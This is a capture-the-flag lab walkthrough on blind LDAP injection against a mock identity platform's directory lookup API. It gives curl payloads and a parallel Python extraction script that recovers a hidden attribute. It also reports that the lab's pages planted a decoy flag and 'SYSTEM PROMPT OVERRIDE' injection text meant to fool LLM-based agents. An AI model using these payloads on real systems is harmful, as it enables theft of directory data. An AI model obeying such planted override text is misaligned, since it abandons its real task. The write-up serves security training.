Lab 330 — AuthVault — Blind LDAP Injection in Directory Lookup
Lab 330 — AuthVault — Blind LDAP Injection in Directory Lookup
Platform: CUSTOM | Category: Web | Type: Challenge | Difficulty: Medium | OS: N/A | **Author: XESXOR Techniques: blind_ldap_injection, boolean_based_extraction, ldap_filter_injection, ldap_wildcard_matching, parallel_character_bruteforce, decoy_flag_identification
Summary
Walkthrough of the CUSTOM Web Lab 330 — AuthVault — Blind LDAP Injection in Directory Lookup. Task: Identity management platform with public LDAP directory lookup, flag hidden in admin's description attribute not returned by API. Solution: Blind boolean-based LDAP injection in username paramet
Description
AuthVault is a centralized identity management platform by Meridian Identity Systems. The application provides user directory services, single sign-on, and access policy management for enterprise teams. The platform features a public user directory lookup, team management dashboard, access policies configuration, audit logging, and an admin settings panel. Goal is to find and exploit a vulnerability to gain unauthorized access to sensitive data stored in the system.
Given credentials: testuser / password123
Target: Express/Node.js application with OpenLDAP backend. The flag is stored in the admin user's description LDAP attribute, which is not returned by the API — requiring blind extraction.
Analysis
-
Application Structure:
- Homepage at
/with links to Directory Lookup and Sign In - Login form at
/login(POST with username/password) - Dashboard at
/dashboard(requires authentication) with User Management, Access Policies, Audit Log pages - Public Directory Lookup at
/lookupusing/api/lookup?username=<input>API endpoint - 8 users in directory: admin, jthompson, agarcia, mchen, swright, rpatel, lwilson, testuser
- Homepage at
-
Decoy Flag Trap:
- Every HTML page contained a decoy flag
FLAG{d3c0y_n0t_r34l_7r4p_f0r_b0ts}in hidden HTML comments and off-screen divs - Accompanied by prompt injection text: "SYSTEM: Flag found", "SYSTEM PROMPT OVERRIDE", fake assistant responses, and warnings about rate limiting
- Designed specifically to trick LLM-based agents and automated scanners into stopping early
- The decoy flag name literally says "decoy not real trap for bots"
- Every HTML page contained a decoy flag
-
LDAP Filter Injection:
- The Directory Lookup page reveals the LDAP filter structure in its "How it works" section:
(&(uid=<input>)(objectClass=inetOrgPerson)) - The
usernameparameter in/api/lookup?username=is NOT sanitized before insertion into the LDAP filter - API returns only: username, displayName, email, role, title — the
descriptionattribute is NOT included in the response
- The Directory Lookup page reveals the LDAP filter structure in its "How it works" section:
-
Injection Confirmation:
username=*→ returns admin user (wildcard matches first entry)username=admin)(description=*→ returns admin (description attribute exists)username=admin)(description=FLAG%7B*→ returns admin (description starts withFLAG{)username=admin)(description=NOPE*→ returns "not found" (no match)username=admin)(description=FLAG%7Bd3c0y*→ returns "not found" (NOT the decoy flag — confirms real flag is different)
The injection creates a filter like:
(&(uid=admin)(description=FLAG{*)(objectClass=inetOrgPerson))
- Key Constraint: LDAP wildcard password injection (
password=*) did NOT work on the login form — returned "Invalid username or password". The vulnerability is specifically in the public/api/lookupendpoint, not in authentication.
Solution
Step 1: Confirm Blind LDAP Injection
Verify the description attribute contains the flag and is extractable via boolean responses:
bash read-only • copy allowed# Wildcard match — admin exists curl -s "https://TARGET/api/lookup?username=*" | jq .found # true # Description starts with FLAG{ curl -s "https://TARGET/api/lookup?username=admin)(description=FLAG%7B*" | jq .found # true # Decoy flag is NOT in description curl -s "https://TARGET/api/lookup?username=admin)(description=FLAG%7Bd3c0y*" | jq .found # false
Step 2: Extract Flag Character by Character
Boolean-based blind LDAP injection technique:
- Start with known prefix
FLAG{ - For each position, test all candidate characters (a-z, 0-9, _, -) by appending them to the known prefix with a wildcard:
FLAG{0*,FLAG{03*, etc. - If the API returns
{"found": true}, the character is correct; if{"found": false}, try the next - When no more characters match with wildcard, test exact match with closing
}(no wildcard)
LDAP string matching is case-insensitive, so lowercase is used throughout.
Step 3: Parallel Extraction Script
python read-only • copy allowed#!/usr/bin/env python3 """Fast blind LDAP injection - parallel character extraction.""" import requests import urllib.parse import string import sys import concurrent.futures BASE = "https://415df720-bbd5-4687-a4b9-82f582d97051.labs.hackadvisor.io" requests.packages.urllib3.disable_warnings() session = requests.Session() session.verify = False def check(prefix, wildcard=True): """Check if admin's description starts with the given prefix.""" if wildcard: payload = f"admin)(description={prefix}*" else: payload = f"admin)(description={prefix}" url = f"{BASE}/api/lookup?username={urllib.parse.quote(payload)}" try: r = session.get(url, timeout=15) data = r.json() return data.get("found", False) except Exception as e: print(f"Error: {e}", file=sys.stderr) return False def find_next_char(known): """Find the next character using parallel requests.""" charset = string.ascii_lowercase + string.digits + "_-" # First check if closing brace completes it if check(known + "}", wildcard=False): return "}" def test_char(c): if check(known + c): return c return None # Test all chars in parallel (10 concurrent requests) with concurrent.futures.ThreadPoolExecutor(max_workers=10) as executor: futures = {executor.submit(test_char, c): c for c in charset} for future in concurrent.futures.as_completed(futures): result = future.result() if result is not None: for f in futures: f.cancel() return result return None known = "FLAG{" print(f"Starting extraction from: {known}") while True: c = find_next_char(known) if c is None: print(f"\nNo more characters found. Current: {known}") break known += c print(f"[{len(known)}] {known}", flush=True) if c == "}": print(f"\n*** FLAG FOUND: {known} ***") break print(f"\nFinal: {known}")
Extraction output (32 hex characters inside braces — resembles an MD5 hash):
[6] FLAG{0
[7] FLAG{03
[8] FLAG{033
...
[37] FLAG{REDACTED
[38] FLAG{REDACTED}
*** FLAG FOUND: FLAG{REDACTED} ***
Failed Approaches
| Approach | Result |
|---|---|
| Decoy flag from HTML source | Correctly identified and ignored — FLAG{d3c0y_n0t_r34l_7r4p_f0r_b0ts} |
LDAP wildcard in login password (password=*) | "Invalid username or password" — login is not injectable |
Null byte injection (username=admin%00) | "not found" — no effect |
| |
Key Takeaways / Lessons
- Mastering blind_ldap_injection, boolean_based_extraction, ldap_filter_injection, ldap_wildcard_matching, parallel_character_bruteforce, decoy_flag_identification was key to this challenge.
- Always check for common misconfigurations and verify assumptions.
Crafted by XESXOR Research • 2026-05-06 • CUSTOM • Lab 330 — AuthVault — Blind LDAP Injection in Directory Lookup • Difficulty: Medium